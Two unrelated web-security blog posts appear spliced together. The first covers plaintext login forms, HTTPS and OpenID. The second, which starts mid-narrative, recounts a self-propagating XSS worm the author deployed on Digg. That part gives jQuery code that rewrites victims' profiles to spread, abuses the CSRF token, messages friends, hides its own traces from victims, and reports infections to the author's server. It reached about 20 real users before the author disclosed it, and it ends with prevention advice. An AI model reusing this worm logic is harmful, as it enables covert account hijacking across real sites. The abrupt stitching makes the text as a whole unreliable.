I’ll also examine the alternative of implementing OpenID as the sole login provider of a website, and how it becomes the most suitable option for the majority of scenarios today.

An introduction

In this article we’ll consider a login form or website non-secure when sensitive data (for example, but not limited to, emails, passwords, private messages, credit cards information) is transmitted across a digital network without a strong encryption mechanism in place. In the majority of cases, this means transmitting data from one end to the other in Plaintext, using the HTTP protocol instead of HTTPS.

A reality check: for users

One of the first concerns for users of non-secure websites should be network sniffing. With an utility such as Wireshark (formerly known as ethereal), an attacker can easily intercept and read packages that contain plaintext data.

This could be anything from chat conversations, or that password you’re sending to a non-SSL site. When you sign up for a website that doesn’t implement https remember to use a new, unique and discardable password. Never use the same password more than once!

A reality check: for webmasters

With open wireless telecommunication becoming more popular every day, network eavesdropping gets easier and more appealing for attackers. Websites that do not protect their users data will become easy targets for electronic identity theft and other opportunistic crimes.

Most login forms we find today offer no SSL support for sensitive data transmissions. Just browse to your favorite startup or Twitter mashup to see how much they protect your information. Even extremely popular websites such as Digg, Slashdot, StumbleUpon, Hi5, Reddit, Justin.TV, Washington Post, Forbes, Xanga fail to protect your authentication information.

All it takes to fix your login forms is to add support for the HTTPS protocol to your web server of choice. Most popular web hosting providers already support it, yet few people take advantage of it.

One of the reasons people are reluctant to build-in SSL is the requirement of a certificate signed by a trusted authority. But it’s a really small price, that pays back with a lot of benefits for your organization.

The JavaScript alternative

You can make your non-secure forms a little more secure by creating a SHA1 hash before the form is sent, instead of sending the plaintext password.

However, this technique, which is implemented by vBulletin for example, has its downsides:

• Only makes it more secure for Javascript-enabled user agents
• It’s not an encryption method, so it’ll only be useful for login forms, and not for emails, private messages, credit cards, etc

The OpenID Alternative

The OpenID Authentication 2.0 specification takes into consideration the security threats described previously, and the suggested solution is evident:

While the protocol does not require SSL be used, its use is strongly RECOMMENDED. Current best practices dictate that an OP SHOULD use SSL, with a certificate signed by a trusted authority, to secure its Endpoint URL as well as the interactions with the end user’s User-Agent.

While it’s clear that SSL is optional in the authentication transactions, the following sentence is of interest to us:

Following its own security policies, a Relying Party MAY choose to not complete, or even begin, a transaction if SSL is not being correctly used at these various endpoints.

If OpenID is implemented, it’s almost guaranteed for the website owner that the user’s login information will be protected. The main reason is that the majority of popular OpenID providers respect the security considerations listed in the specification. The attacker can still intercept authentication data if you don’t have SSL in the callback page that OpenId forwards the user to, but all he could potentially get is a random token and not the password itself.

Conclusion

The potential security issues of websites form authentication are varied, and encryption is only a tiny part of the solution. Securing users login should be one of the top priorities in web makers agendas. People value the data and history they’ve created in the websites they like, and it can be pretty disappointing to lose it all because the creator decided it was worth investing more time in refining the website’s gradient backgrounds rather than implementing SSL.

Half an hour later, I had a working worm ready to infect everyone that saw my profile page, which also would propagate to theirs.

Locating the vulnerability

XSS vulnerabilities are quite ironic nowadays. Everyone knows about them, almost everyone knows what their most frequent form is, but few seem to test for them or implement systems to avoid them.

The most common form of a XSS exploit scenario is that in which the attacker manages to store malicious code in the host, which when shown is not escaped properly and is thus executed. On Digg, all it took me was to insert a <script> tag in the “About me” textarea.

Less known forms of XSS exploits involve other pathways through which the user sends information:

• Request headers. A malicious user, like Al Capone or Mikeyy, could alter the User Agent or Referer, for example, to store malicious code.
• Query string. Commonly known as the PHP_SELF bug, the vulnerable sites are those which print out the request URL without escaping it. For example, if a programmer decides to populate the a <form action=""> with the unsanitized request URL, an attacker could inject code that can be conveniently distributed with URL shortening services.

It’s also important to remember that preventing XSS exploits is not about escaping < or > alone. I recommend checking out this cheatsheet for a comprehensive list of possible, real-world attacks.

Exploiting it

The exploit code is only anecdotally interesting. I do not encourage anyone to start testing random websites and injecting harmful JavaScript.

The attack plan is as follows

1. Check the user is logged in, by checking for the absence of a login link.

   if ($('#header-login').attr('href')) return;
   	

2. Propagate the script by retrieving the profile edit details form and ajaxly submitting it.

   $.ajax({url: 'http://digg.com/settings/about', dataType: 'html', success: function(doc){
   	// ...
   	$.ajax({url: 'http://digg.com/settings/about', data: form.serialize(), type: 'POST'});
   	// ...
   }});
   	

3. We disable the Digg Bar by posting to http://digg.com/settings/viewing. This time we don’t really need to retrieve the whole form, because we already have the magic token that prevents CSRF attacks
4. We shout to friends to check out our profile. When a friend is infected, the <script> tag also holds the information of the scripter, so that the victim doesn’t shout back, which could raise suspicions that something fishy is going on.

5. We also store the created shouts ids in a cookie, to hide them from the user view as soon as the script loads and avoid users seeing weird shouts they didn’t voluntarily send.

   var shouts = $.cookie('shouts'), shoutedTo = [], shoutIds = [];
   if (shouts) {
   	shouts = shouts.split(',');
   	$(shouts).each(function(i, code){
   		code = code.split('|');
   		shoutIds.push(code[0]); shoutedTo.push(code[1]);
   		document.write('
   
   
   ');
   	});
   	document.write('
   
   
   ');
   }
   	

Additionally, I set up a callback page and a very basic form of cross-domain requests (using images) ((Keep in mind that, for security reasons, XMLHttpRequest would not allow me to communicate with my server from digg.com. I thus used (new Image).src to ping the script I set up.)) to inform me of the success of the different stages of the worm (infection, bar disabling, propagation) for each user.

Check out the full script here.

Preventing it

First of all, it’s important to constantly keep in mind that user-supplied information should be untrusted. Whenever you input or output information that was originated by a 3rd party, extra caution should be taken.

For PHP developers, preventing XSS exploits usually means passing all user-supplied info through the htmlentities() function. The caution part is not a cliche, or a meaningless recommendation. It might be obvious for you, as a developer, to escape $_POST['value'] but escaping $_SERVER['HTTP_USER_AGENT'] takes undoubtedly more attention.

The Symfony framework provides one of the arguably most elegant solutions to this problem, with its built-in XSS protection, virtually transparent to the developer. Learn more about this method.

Conclusion

I enabled the worm on Digg to try it out with my friends, and it quickly began to spread. After succeeding and collecting about 20 users, I quickly commented it out and let the Digg crew know. Jen Burton, the community manager, responded really quickly, and within an hour or two ((Unlike Twitter)) they had fixed the bug and updated the production site.